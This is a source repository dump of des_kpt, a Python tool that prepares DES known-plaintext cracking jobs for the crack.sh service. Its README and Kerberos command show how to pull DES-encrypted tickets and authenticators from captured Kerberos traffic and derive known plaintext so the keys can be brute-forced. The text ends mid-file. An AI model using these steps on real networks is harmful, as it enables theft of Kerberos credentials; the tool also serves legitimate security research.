├── .gitignore ├── LICENSE ├── README.md ├── des_kpt.py ├── des_kpt ├── __init__.py ├── __init__.pyc ├── _version.py ├── _version.pyc ├── commands │ ├── Command.py │ ├── Command.pyc │ ├── DecryptCommand.py │ ├── DecryptCommand.pyc │ ├── EncryptCommand.py │ ├── EncryptCommand.pyc │ ├── HelpCommand.py │ ├── HelpCommand.pyc │ ├── KerbCommand.py │ ├── ParseCommand.py │ ├── ParseCommand.pyc │ ├── __init__.py │ └── __init__.pyc ├── packets │ ├── KerbPacket.py │ └── __init__.py └── readers │ ├── KerbPacketReader.py │ ├── PacketReader.py │ └── __init__.py └── krb5_ettercap ├── README.md ├── krb5-downgrade-asreq.filter ├── krb5-downgrade-asreq.py ├── krb5-downgrade-asreq.sh ├── krb5-downgrade-preauth.filter ├── krb5-downgrade-preauth.py └── krb5-downgrade-preauth.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .*.swp 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016, h1kari 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of des_kpt nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | des_kpt 2 | ======= 3 | 4 | This code allows you to submit known plaintext cracking jobs to the https://crack.sh DES cracking system by providing a way to verify your implementation matches and package up your job info into a token that can be submitted. 5 | 6 | Ubuntu Install Notes 7 | -------------------- 8 | 9 | To install all of the dependencies on Ubuntu, run the following commands: 10 | 11 | ``` 12 | $ sudo apt-get install python-pyasn1 13 | $ git clone https://github.com/CoreSecurity/impacket 14 | $ cd impacket 15 | $ sudo python setup.py install 16 | ``` 17 | 18 | Verifying Encryption 19 | -------------------- 20 | 21 | To verify your implementation you can use the `encrypt` command: 22 | 23 | ``` 24 | $ ./des_kpt.py encrypt -p 0000000000000000 -k 1044ca254cddc4 -i 0123456789abcdef 25 | PT = 0000000000000000 26 | IV = 0123456789abcdef 27 | PT+IV = 0123456789abcdef 28 | CT = 825f48ccfd6829f0 29 | K = 1044ca254cddc4 30 | KP = 1023324554677689 31 | E = 1 32 | ``` 33 | 34 | This command allows you to specify the `plaintext`, `key`, and optional `iv` (in the case of cracking CBC/PCBC encrypted data). 35 | 36 | Verifying Decryption 37 | -------------------- 38 | 39 | You can also verify using the `decrypt` command: 40 | 41 | ``` 42 | $ ./des_kpt.py decrypt -c 837c0dab74c3e41f -k 1044ca254cddc4 -i 0123456789abcdef 43 | PT = 0123456789abcdef 44 | IV = 0123456789abcdef 45 | CT = 837c0dab74c3e41f 46 | CT+IV = 825f48ccfd6829f0 47 | K = 1044ca254cddc4 48 | KP = 1023324554677689 49 | E = 0 50 | ``` 51 | 52 | This allows you to specify the `ciphertext`, `key`, and optional `iv` (in the case of cracking CFB, OFB, CTR, etc). Keep in mind that in these different modes the `iv` is counted as the value that's XORed with the `ciphertext`, not the IV that is used as the plaintext input to des_encrypt(). 53 | 54 | **NOTE:** When you enter an 8-byte key, `des_kpt.py` will remove parity from the key and then recalculate parity to generate `K` and `KP`. If `KP` doesn't match the key you specified, it's probably because the parity is being corrected. 55 | 56 | Submit a Decrypt Job 57 | ---------------------- 58 | 59 | Now, once you've verified your implementation matches, you can submit your job to https://crack.sh. To do that, enter in your parameters using the `parse` command: 60 | 61 | ``` 62 | $ ./des_kpt.py parse -p 0123456789abcdef -m ffffffffffff0000 -c 825f48ccfd6829f0 63 | PT = 0123456789ab0000 64 | M = ffffffffffff0000 65 | CT = 825f48ccfd6829f0 66 | E = 0 67 | crack.sh Submission = $98$ASNFZ4mrze////////8AAIJfSMz9aCnw 68 | ``` 69 | 70 | This is an example of a job that's performing a brute force decrypt (notice `E = 0`) and returns all keys that result in a `plaintext` which matches `x & M == PT`. Notice also that `PT` has been already masked by `M` as the masked out bits aren't needed. 71 | 72 | Submit an Encrypt Job 73 | ---------------------- 74 | 75 | Here is another example: 76 | 77 | ``` 78 | $ ./des_kpt.py parse -p 0123456789abcdef -m ffffffffffff0000 -c 825f48ccfd6829f0 -e 79 | PT = 0123456789abcdef 80 | M = ffffffffffff0000 81 | CT = 825f48ccfd680000 82 | E = 1 83 | crack.sh Submission = $97$ASNFZ4mrze////////8AAIJfSMz9aAAA 84 | ``` 85 | 86 | In this case we're performing a brute force encrypt (notice `E = 1`) which will return all keys that result in a `ciphertext` which matches `x & M == CT`. Note also that `CT` has already been masked by `M` like `PT` is in decrypt mode. 87 | 88 | **NOTE:** Results from crack.sh are 7-byte (56-bit) keys without parity. You can use `des_kpt.py encrypt` or `decrypt` to add parity to the key if needed. 89 | 90 | Kerberos 91 | -------- 92 | 93 | To crack kerberos exchanges, simply point the tool toward a .pcap file containing kerberos5 AS-REQ, AS-REP, TGS-REQ, or TGS-REP messages: 94 | 95 | ``` 96 | $ ./des_kpt.py kerb -i kerb.pcap 97 | parsing inputFile = kerb.pcap 98 | 99 | AS-REQ 192.168.1.11 -> 192.168.1.27: test3@DOMAIN -> krbtgt/DOMAIN@DOMAIN (Authenticator): 100 | PT = 37008d069d43a296 101 | M = ff00ffffffffffff 102 | CT = de3dcc5ca0bb182f 103 | E = 0 104 | crack.sh Submission = $98$NwCNBp1Dopb/AP///////949zFyguxgv 105 | ... 106 | ``` 107 | 108 | This option extracts the encrypted data from the kerberos5 messages and assembles a submission token using static known plaintext for the messages. These are the values that it extracts: 109 | 110 | ``` 111 | AS-REQ ::= [APPLICATION 10] KDC-REQ 112 | TGS-REQ ::= [APPLICATION 12] KDC-REQ 113 | KDC-REQ ::= SEQUENCE { 114 | pvno[1] INTEGER, 115 | msg-type[2] INTEGER, 116 | # Contains encapsulated AP-REQ (for TGS-REQ) or Authenticator (for AS-REQ) 117 | padata[3] SEQUENCE OF PA-DATA OPTIONAL, 118 | req-body[4] KDC-REQ-BODY 119 | } 120 | 121 | AS-REP ::= [APPLICATION 11] KDC-REP 122 | TGS-REP ::= [APPLICATION 13] KDC-REP 123 | KDC-REP ::= SEQUENCE { 124 | pvno[0] INTEGER, 125 | msg-type[1] INTEGER, 126 | padata[2] SEQUENCE OF PA-DATA OPTIONAL, 127 | crealm[3] Realm, 128 | cname[4] PrincipalName, 129 | # Contains TGT (for AS-REP) or ST (for TGS-REP) 130 | ticket[5] Ticket, -- Ticket 131 | # Contains encrypted session key data 132 | enc-part[6] EncryptedData -- EncKDCRepPart 133 | } 134 | 135 | # padata in AS-REQ or TGS-REQ Packet 136 | PA-DATA ::= SEQUENCE { 137 | # == PA_TGS_REQ (TGS-REQ TGT) or == PA_ENC_TIMESTAMP (AS-REQ Authenticator) 138 | padata-type[1] INTEGER, 139 | pa-data[2] OCTET STRING -- might be encoded AP-REQ 140 | } 141 | 142 | # For padata-type == PA_TGS_REQ (TGS-REQ TGT) 143 | AP-REQ ::= [APPLICATION 14] SEQUENCE { 144 | pvno[0] INTEGER, 145 | msg-type[1] INTEGER, 146 | ap-options[2] APOptions, 147 | # TGT 148 | ticket[3] Ticket, 149 | # Authenticator encrypted with client session key 150 | authenticator[4] EncryptedData -- Authenticator 151 | } 152 | 153 | # Ticket in encapsulated AP-REQ in TGS-REQ 154 | Ticket ::= [APPLICATION 1] SEQUENCE { 155 | tkt-vno[0] INTEGER, 156 | realm[1] Realm, 157 | sname[2] PrincipalName, 158 | # TGT encrypted with KDC's master key 159 | enc-part[3] EncryptedData -- EncTicketPart 160 | } 161 | 162 | # Actual encrypted data is associated with etype and optional kvno 163 | EncryptedData ::= SEQUENCE { 164 | # We check to see if etype == DES_CBC_CRC (1) 165 | etype[0] INTEGER, -- EncryptionType 166 | kvno[1] INTEGER OPTIONAL, 167 | # Actual ciphertext 168 | cipher[2] OCTET STRING -- CipherText 169 | } 170 | ``` 171 | 172 | | Packet | Ciphertext | Type | Key | Contains | 173 | | --------- | ------------------------------------------- | ------------- | ------------------ | -------------------------- | 174 | | `AS-REQ` | `padata[PA_ENC_TIMESTAMP].cipher` | Authenticator | Client Master | Timestamp | 175 | | `AS-REP` | `ticket.enc-part.cipher` | TGT | KDC Master | KDC/Client Session Key | 176 | | `AS-REP` | `enc-part.cipher` | TGS enc-part | Client Master | KDC/Client Session Key | 177 | | `TGS-REQ` | `padata[PA_TGS_REQ].ticket.enc-part.cipher` | TGT | KDC Master | KDC/Client Session Key | 178 | | `TGS-REQ` | `padata[PA_TGS_REQ].authenticator.cipher` | Authenticator | KDC/Client Session | Timestamp | 179 | | `TGS-REP` | `ticket.enc-part.cipher` | ST | Service Master | Service/Client Session Key | 180 | | `TGS-REP` | `enc-part.cipher` | TGS enc-part | KDC/Client Session | Service/Client Session Key | 181 | 182 | Determining Plaintext 183 | --------------------- 184 | 185 | The ASN.1 format of the messages that are encrypted has a number of known plaintext components as DER is a canonical form of BER there are certain parts of the format that must always exist in the plaintext. Here is an outline of the plaintext for the different encrypted portions: 186 | 187 | **Authenticator** 188 | 189 | ``` 190 | 00: 7aec 646d 6134 d6e1 z.dma4.. # P1 - Confounder 191 | 08: 230f af7a 301a a011 #..z0... # P2 - [8:12] = CRC, [12:16] = ASN.1 192 | # 30 - Sequence( 193 | # 1a - Length=26) 194 | # a0 - .Idx(0, 195 | # 11 - Length=17, 196 | 10: 180f 3230 3136 3037 ..201607 # P3 - ASN.1 # Static 197 | # 18 - GeneralizedTime( # Static 198 | # 0f - Length=15, Value= # Static 199 | # 323031363037 - "201607" # Easily derived from current year/month 200 | 18: 3231 3230 3138 3335 21201835 # P4 - ASN.1 201 | # 3231323031383335 - "21201835" 202 | 20: 5aa1 0502 030c 85ba Z....... # P5 - ASN.1 203 | # 5a - "Z")), 204 | # a1 - .Idx(1, 205 | # 05 - Length=5, 206 | # 02 - Integer( 207 | # 03 - Length=3, 208 | # 0c85ba - Value=820666) 209 | ``` 210 | 211 | We've identified the 3rd block of Plaintext `P3` as the one we're going to target. Because everything is encrypted with DES-CBC, it will be xor'ed with the Ciphertext of the previous block, so to determine our plaintext we'll do: 212 | 213 | ``` 214 | PT = CT2 ^ "\x18\x0f"+date("YYYYMM") 215 | CT = CT3 216 | M = ffffffffffffffff 217 | ``` 218 | 219 | If you're iffy on the exact month that the server/client have their clock set to, you can adjust the mask so the job works regardless: 220 | 221 | ``` 222 | M = ffffffffffffff00 223 | ``` 224 | 225 | **Tickets (TGT or ST)** 226 | 227 | ``` 228 | 00: 194c b18f 1b9c ebf7 .L...... # P1 - Confounder 229 | 08: 0600 7f55 6381 d630 ...Uc..0 # P2 - [8:12] = CRC, [12:16] = ASN.1 230 | # 63 - Application(Tag=3, 231 | # 81d6 - Length=214) 232 | # 30 - .Sequence( 233 | 10: 81d3 a007 0305 0000 ........ # P3 - ASN.1 234 | # 81d3 - Length=211) # Mostly determined from the encrypted data size (adjust mask for padding) 235 | # a0 - .Idx(0, # Static 236 | # 07 - Length=7) # Static 237 | # 03 - .BitString( # Static 238 | # 05 - Length=5, Value= # Static 239 | # 0000 - "\x00\x00"... # Static (I think) 240 | ... 241 | ``` 242 | 243 | It's pretty safe to assume that `P3` will be mostly static, the overall length of the message will change (and can be roughly determined by the encrypted message size) but the ASN.1 will stay the same. The following shows the rough calculation of PT for messages where the .Length value is between 128 and 255. The PT ASN.1 should be generated according to the actual enc-part length. To stay on the safe side, we currently only support message sizes between 128-256 and just use the top length bit as known plaintext (as it should always be high when the length extension is set to 81). 244 | 245 | ``` 246 | PT = CT2 ^ "\x81"+len(enc-part)-15-8+"\xa0\x07\x03\x05\x0000" 247 | CT = CT3 248 | M = ff80ffffffffffff 249 | ``` 250 | 251 | **TGS enc-part** 252 | 253 | ``` 254 | 00: e293 cade 03ca 8663 .......c # P1 - Confounder 255 | 08: 9b78 56e2 7a81 f030 .xV.z..0 # P2 - [8:12] = CRC, [12:16] = ASN.1 256 | # 7a - Application(Tag=26, 257 | # 81f0 - Length=240) 258 | # 30 - .Sequence( 259 | 10: 81ed a013 3011 a003 ....0... # P3 - ASN.1 260 | # 813d Length=237) # Mostly determined from the encrypted data size (adjust mask for padding) 261 | # a0 .Idx(0, # Static 262 | # 13 Length=19) # Static 263 | # 30 .Sequence( # Static 264 | # 11 Length=17) # Static 265 | # a0 .Idx(0, # Static 266 | # 03 Length=3) # Static 267 | ... 268 | ``` 269 | 270 | Same for this message, the only dynamic part of `P3` is the length which can be roughly determined based on the enc-part length: 271 | 272 | ``` 273 | PT = CT2 ^ "\x81"+len(enc-part)-15-8+"\xa0\x13\x30\x11\xa0\x03" 274 | CT = CT3 275 | M = ff80ffffffffffff 276 | ``` 277 | 278 | **DES-CBC-MD5?** 279 | 280 | Note that all of these techniques can be easily adapted to work against DES-CBC-MD5. The only differnce is that the checksum is 8 bytes instead of 4 bytes with DES-CBC-CRC which then pushes the ASN.1 over. There's relatively the same amount of known plaintext to work with in both cases and support will be added in the near future. 281 | 282 | Printed Parameters 283 | ------------------ 284 | 285 | | Parameter | Description | 286 | | --------- | ----------------------------------------------------------------- | 287 | | `PT` | Plaintext | 288 | | `M` | Mask | 289 | | `IV` | Initialization Vector, xor'ed with `PT` or `CT` depending on `E` | 290 | | `PT+IV` | `PT` xor'ed with `IV` | 291 | | `CT` | Ciphertext | 292 | | `CT+IV` | `CT` xor'ed with `IV` | 293 | | `K` | 56-bit Key | 294 | | `KP` | 64-bit Key with Parity | 295 | | `E` | 1 = Encrypt, 0 = Decrypt | 296 | 297 | Bug tracker 298 | ----------- 299 | 300 | Have a bug? Please create an issue here on GitHub! 301 | 302 | https://github.com/h1kari/des_kpt/issues 303 | 304 | Copyright 305 | --------- 306 | 307 | Copyright 2016 David Hulton 308 | 309 | Licensed under the BSD 3-Clause License: https://opensource.org/licenses/BSD-3-Clause 310 | -------------------------------------------------------------------------------- /des_kpt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """A tool for calculating known plaintext test vectors""" 4 | 5 | import sys 6 | from des_kpt.commands.HelpCommand import HelpCommand 7 | from des_kpt.commands.EncryptCommand import EncryptCommand 8 | from des_kpt.commands.DecryptCommand import DecryptCommand 9 | from des_kpt.commands.ParseCommand import ParseCommand 10 | from des_kpt.commands.KerbCommand import KerbCommand 11 | 12 | __author__ = "David Hulton" 13 | __license__ = "BSD" 14 | __copyright__ = "Copyright 2016, David Hulton" 15 | 16 | def main(argv): 17 | if len(argv) < 1: 18 | HelpCommand.printGeneralUsage("Missing command") 19 | 20 | if argv[0] == 'parse': 21 | ParseCommand(argv[1:]).execute() 22 | elif argv[0] == 'encrypt': 23 | EncryptCommand(argv[1:]).execute() 24 | elif argv[0] == 'decrypt': 25 | DecryptCommand(argv[1:]).execute() 26 | elif argv[0] == 'kerb': 27 | KerbCommand(argv[1:]).execute() 28 | elif argv[0] == 'help': 29 | HelpCommand(argv[1:]).execute() 30 | else: 31 | HelpCommand.printGeneralUsage("Unknown command: %s" % argv[0]) 32 | 33 | if __name__ == '__main__': 34 | main(sys.argv[1:]) 35 | -------------------------------------------------------------------------------- /des_kpt/__init__.py: -------------------------------------------------------------------------------- 1 | from _version import __version__ 2 | 3 | __author__ = "David Hulton" 4 | __license__ = "BSD" 5 | __copyright__ = "Copyright 2016, David Hulton" 6 | -------------------------------------------------------------------------------- /des_kpt/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/__init__.pyc -------------------------------------------------------------------------------- /des_kpt/_version.py: -------------------------------------------------------------------------------- 1 | __version__ = "0.1" 2 | -------------------------------------------------------------------------------- /des_kpt/_version.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/_version.pyc -------------------------------------------------------------------------------- /des_kpt/commands/Command.py: -------------------------------------------------------------------------------- 1 | """Base class for commands. Handles parsing supplied arguments.""" 2 | 3 | import getopt 4 | import sys 5 | 6 | __author__ = "David Hulton" 7 | __license__ = "BSD" 8 | __copyright__ = "Copyright 2016, David Hulton" 9 | 10 | class Command: 11 | 12 | def __init__(self, argv, options, flags, allowArgRemainder=False): 13 | try: 14 | self.flags = flags 15 | self.options = ":".join(options) + ":" 16 | self.values, self.argRemainder = getopt.getopt(argv, self.options + self.flags) 17 | 18 | if not allowArgRemainder and self.argRemainder: 19 | self.printError("Too many arguments: %s" % self.argRemainder) 20 | except getopt.GetoptError as e: 21 | self.printError(e) 22 | 23 | def _getOptionValue(self, flag): 24 | for option, value in self.values: 25 | if option == flag: 26 | return value 27 | 28 | return None 29 | 30 | def _containsOption(self, flag): 31 | for option, value in self.values: 32 | if option == flag: 33 | return True 34 | 35 | return False 36 | 37 | def printError(self, error): 38 | sys.stderr.write("ERROR: %s\n" % error) 39 | sys.exit(-1) 40 | -------------------------------------------------------------------------------- /des_kpt/commands/Command.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/Command.pyc -------------------------------------------------------------------------------- /des_kpt/commands/DecryptCommand.py: -------------------------------------------------------------------------------- 1 | """ 2 | The decrypt command. Accepts "ciphertext" and "key" parameters. 3 | 4 | Accepts "ciphertext" and "key" parameters and calculates "plaintext" by performing a des_decrypt(). 5 | """ 6 | from passlib.utils import des 7 | from Crypto.Cipher import DES 8 | import sys 9 | import binascii 10 | from itertools import cycle 11 | 12 | from des_kpt.commands.Command import Command 13 | from des_kpt.commands.ParseCommand import ParseCommand 14 | 15 | __author__ = "David Hulton" 16 | __license__ = "BSD" 17 | __copyright__ = "Copyright 2016, David Hulton" 18 | 19 | class DecryptCommand(ParseCommand): 20 | 21 | def __init__(self, argv): 22 | Command.__init__(self, argv, "cki", ""); 23 | 24 | def execute(self): 25 | ciphertext = self._getCiphertext() 26 | key = self._getKey() 27 | iv = self._getIV() 28 | ci = ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(ciphertext, cycle(iv))) 29 | 30 | key_parity = des.expand_des_key(key) 31 | des_obj = DES.new(key_parity, DES.MODE_ECB) 32 | plaintext = des_obj.decrypt(ci) 33 | 34 | self._printParameters(plaintext, None, iv, None, ciphertext, ci, key, key_parity, False) 35 | 36 | def _getKey(self): 37 | key = self._getOptionValue("-k") 38 | 39 | if not key: 40 | self.printError("Missing key (-k)") 41 | 42 | key = binascii.unhexlify(key.replace(":", "")) 43 | 44 | if len(key) == 8: 45 | key = self._removeParity(key) 46 | elif len(key) != 7: 47 | self.printError("Invalid key length %d" % len(key)) 48 | 49 | return key 50 | 51 | def _getIV(self): 52 | iv = self._getOptionValue("-i") 53 | 54 | if not iv: 55 | iv = "00" * 8 56 | 57 | iv = binascii.unhexlify(iv.replace(":", "")) 58 | 59 | if len(iv) != 8: 60 | self.printError("Invalid IV length %d" % len(iv)) 61 | 62 | return iv 63 | 64 | @staticmethod 65 | def printHelp(): 66 | print( 67 | """Decrypts ciphertext with key and displays the plaintext output. 68 | 69 | decrypt 70 | 71 | Arguments: 72 | -c : The ciphertext in hexidecimal format 73 | -k : The key in hexidecimal format 74 | -i : The iv in hexidecimal format (optional) 75 | """) 76 | 77 | -------------------------------------------------------------------------------- /des_kpt/commands/DecryptCommand.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/DecryptCommand.pyc -------------------------------------------------------------------------------- /des_kpt/commands/EncryptCommand.py: -------------------------------------------------------------------------------- 1 | """ 2 | The encrypt command. Accepts "plaintext" and "key" parameters. 3 | 4 | Accepts "plaintext" and "key" parameters and calculates "ciphertext" by performing a des_encrypt(). 5 | """ 6 | from passlib.utils import des 7 | from Crypto.Cipher import DES 8 | import sys 9 | import binascii 10 | from itertools import cycle 11 | 12 | from des_kpt.commands.Command import Command 13 | from des_kpt.commands.ParseCommand import ParseCommand 14 | 15 | __author__ = "David Hulton" 16 | __license__ = "BSD" 17 | __copyright__ = "Copyright 2016, David Hulton" 18 | 19 | class EncryptCommand(ParseCommand): 20 | 21 | def __init__(self, argv): 22 | Command.__init__(self, argv, "pki", ""); 23 | 24 | def execute(self): 25 | plaintext = self._getPlaintext() 26 | key = self._getKey() 27 | iv = self._getIV() 28 | pi = ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(plaintext, cycle(iv))) 29 | 30 | key_parity = des.expand_des_key(key) 31 | des_obj = DES.new(key_parity, DES.MODE_ECB) 32 | ciphertext = des_obj.encrypt(pi) 33 | 34 | self._printParameters(plaintext, None, iv, pi, ciphertext, None, key, key_parity, True) 35 | 36 | def _getKey(self): 37 | key = self._getOptionValue("-k") 38 | 39 | if not key: 40 | self.printError("Missing key (-k)") 41 | 42 | key = binascii.unhexlify(key.replace(":", "")) 43 | 44 | if len(key) == 8: 45 | key = self._removeParity(key) 46 | elif len(key) != 7: 47 | self.printError("Invalid key length %d" % len(key)) 48 | 49 | return key 50 | 51 | def _getIV(self): 52 | iv = self._getOptionValue("-i") 53 | 54 | if not iv: 55 | iv = "00" * 8 56 | 57 | iv = binascii.unhexlify(iv.replace(":", "")) 58 | 59 | if len(iv) != 8: 60 | self.printError("Invalid IV length %d" % len(iv)) 61 | 62 | return iv 63 | 64 | @staticmethod 65 | def printHelp(): 66 | print( 67 | """Encrypts plaintext with key and displays the ciphertext output. 68 | 69 | encrypt 70 | 71 | Arguments: 72 | -p : The plaintext in hexidecimal format 73 | -k <key> : The key in hexidecimal format 74 | -i <iv> : The iv in hexidecimal format (optional) 75 | """) 76 | 77 | -------------------------------------------------------------------------------- /des_kpt/commands/EncryptCommand.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/EncryptCommand.pyc -------------------------------------------------------------------------------- /des_kpt/commands/HelpCommand.py: -------------------------------------------------------------------------------- 1 | """ 2 | The help command. Describes the usage of des_kpt 3 | """ 4 | 5 | import sys 6 | from des_kpt.commands.EncryptCommand import EncryptCommand 7 | from des_kpt.commands.DecryptCommand import DecryptCommand 8 | from des_kpt.commands.ParseCommand import ParseCommand 9 | from des_kpt.commands.KerbCommand import KerbCommand 10 | 11 | __author__ = "David Hulton" 12 | __license__ = "BSD" 13 | __copyright__ = "Copyright 2016, David Hulton" 14 | 15 | class HelpCommand: 16 | 17 | COMMANDS = {'parse' : ParseCommand, 'encrypt' : EncryptCommand, 'decrypt' : DecryptCommand, 'kerb' : KerbCommand} 18 | 19 | def __init__(self, argv): 20 | self.argv = argv 21 | 22 | def execute(self): 23 | if len(self.argv) <= 0: 24 | self.printGeneralUsage(None) 25 | return 26 | 27 | if self.argv[0] in HelpCommand.COMMANDS: 28 | HelpCommand.COMMANDS[self.argv[0]].printHelp() 29 | else: 30 | self.printGeneralUsage("Unknown command: %s" % self.argv[0]) 31 | 32 | def printHelp(self): 33 | print( 34 | """Provides help for individual commands. 35 | 36 | help <command> 37 | """) 38 | 39 | @staticmethod 40 | def printGeneralUsage(message): 41 | if message: 42 | print ("Error: %s\n" % message) 43 | 44 | sys.stdout.write( 45 | """des_kpt.py 46 | 47 | Commands (use "des_kpt.py help <command>" to see more): 48 | parse -p <plaintext> -m <mask> -c <ciphertext> [-e] 49 | encrypt -p <plaintext> -k <key> [-i <iv>] 50 | decrypt -c <ciphertext> -k <key> [-i <iv>] 51 | kerb -i <input> 52 | help <command> 53 | """) 54 | 55 | sys.exit(-1) 56 | -------------------------------------------------------------------------------- /des_kpt/commands/HelpCommand.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/h1kari/des_kpt/d3b720a41edc679df204dfd45f30fa9971027779/des_kpt/commands/HelpCommand.pyc -------------------------------------------------------------------------------- /des_kpt/commands/KerbCommand.py: -------------------------------------------------------------------------------- 1 | """ 2 | The parse command. 3 | 4 | """ 5 | import base64 6 | import sys 7 | import binascii 8 | from itertools import cycle 9 | 10 | from des_kpt.commands.Command import Command 11 | from des_kpt.commands.ParseCommand import ParseCommand 12 | from des_kpt.readers.KerbPacketReader import KerbPacketReader 13 | #from des_kpt.state.MultiKerbStateManager import MultiKerbStateManager 14 | 15 | __author__ = "David Hulton" 16 | __license__ = "BSD" 17 | __copyright__ = "Copyright 2016, David Hulton" 18 | 19 | class KerbCommand(ParseCommand): 20 | 21 | def __init__(self, argv): 22 | Command.__init__(self, argv, "i", "") 23 | 24 | def execute(self): 25 | inputFile = self._getInputFile() 26 | capture = open(inputFile) 27 | reader = KerbPacketReader(capture) 28 | print "parsing inputFile = %s\n" % inputFile 29 | 30 | msg_type = range(0, 14) 31 | ticket_type = range(0, 14) 32 | client_type = range(0, 14) 33 | 34 | msg_type[10] = "AS-REQ" 35 | msg_type[11] = "AS-REP" 36 | msg_type[12] = "TGS-REQ" 37 | msg_type[13] = "TGS-REP" 38 | 39 | ticket_type[10] = "Authenticator" 40 | ticket_type[11] = "Ticket Granting Ticket" 41 | ticket_type[12] = "Ticket Granting Ticket" 42 | ticket_type[13] = "Service Ticket" 43 | 44 | client_type[10] = "Authenticator" 45 | client_type[11] = "enc-part" 46 | client_type[12] = "Authenticator" 47 | client_type[13] = "enc-part" 48 | 49 | for packet in reader: 50 | rep = packet.getRep() 51 | desc = ticket_type[rep] if packet.getIsTicket() else client_type[rep] 52 | print "%s %s -> %s: %s@%s -> %s@%s (%s):" % ( 53 | msg_type[packet.getRep()], 54 | packet.getServerAddress(), 55 | packet.getClientAddress(), 56 | packet.getCName(), packet.getCRealm(), 57 | packet.getTName(), packet.getTRealm(), 58 | desc) 59 | self._printParameters(packet.getPlaintext(), 60 | packet.getMask(), None, None, 61 | packet.getCiphertext(), None, None, None, 0) 62 | print "" 63 | 64 | def _getInputFile(self): 65 | inputFile = self._getOptionValue("-i"); 66 | 67 | if not inputFile: 68 | self.printError("Missing input file (-i)"); 69 | 70 | return inputFile 71 | 72 | @staticmethod 73 | def printHelp(): 74 | print( 75 | """Extracts info from PCAP file containing a Kerberos authentication and creates a crack.sh submission token. 76 | 77 | kerb 78 | 79 | Arguments: 80 | -i <input> : The capture file 81 | """) 82 | -------------------------------------------------------------------------------- /des_kpt/commands/ParseCommand.py: -------------------------------------------------------------------------------- 1 | """ 2 | The parse command. 3 | 4 | """ 5 | import base64 6 | import sys 7 | import binascii 8 | from itertools import cycle 9 | 10 | from des_kpt.commands.Command import Command 11 | 12 | __author__ = "David Hulton" 13 | __license__ = "BSD" 14 | __copyright__ = "Copyright 2016, David Hulton" 15 | 16 | class ParseCommand(Command): 17 | 18 | def __init__(self, argv): 19 | Command.__init__(self, argv, "pmc", "e") 20 | 21 | def execute(self): 22 | plaintext = self._getPlaintext() 23 | mask = self._getMask() 24 | ciphertext = self._getCiphertext() 25 | encrypt = self._getEncrypt() 26 | 27 | if encrypt: 28 | ciphertext = ''.join(chr(ord(c1) & ord(c2)) for c1, c2 in zip(ciphertext, cycle(mask))) 29 | else: 30 | plaintext = ''.join(chr(ord(c1) & ord(c2)) for c1, c2 in zip(plaintext, cycle(mask))) 31 | 32 | self._printParameters(plaintext, mask, None, None, ciphertext, None, None, None, encrypt) 33 | 34 | def _bin(self, s): 35 | return str(s) if s <=1 else bin(s>>1) + str(s&1) 36 | 37 | def _removeParity(self, parity_key): 38 | bits = bin(int(binascii.hexlify(parity_key), 16))[2:].rjust(64, "0") 39 | i = 0 40 | noparity = str() 41 | for bit in bits: 42 | if (i % 8) != 7: 43 | noparity = noparity + bit 44 | i = i + 1 45 | return binascii.unhexlify("%x" % int(noparity, 2)) 46 | 47 | def _getPlaintext(self): 48 | plaintext = self._getOptionValue("-p") 49 | 50 | if not plaintext: 51 | self.printError("Missing plaintext (-p)") 52 | 53 | plaintext = binascii.unhexlify(plaintext.replace(":", "")) 54 | 55 | if len(plaintext) != 8: 56 | self.printError("Invalid plaintext length %d" % len(plaintext)) 57 | 58 | return plaintext 59 | 60 | def _getMask(self): 61 | mask = self._getOptionValue("-m") 62 | 63 | if not mask: 64 | self.printError("Missing mask (-m)") 65 | 66 | mask = binascii.unhexlify(mask.replace(":", "")) 67 | 68 | if len(mask) != 8: 69 | self.printError("Invalid mask length %d" % len(mask)) 70 | 71 | return mask 72 | 73 | def _getCiphertext(self): 74 | ciphertext = self._getOptionValue("-c") 75 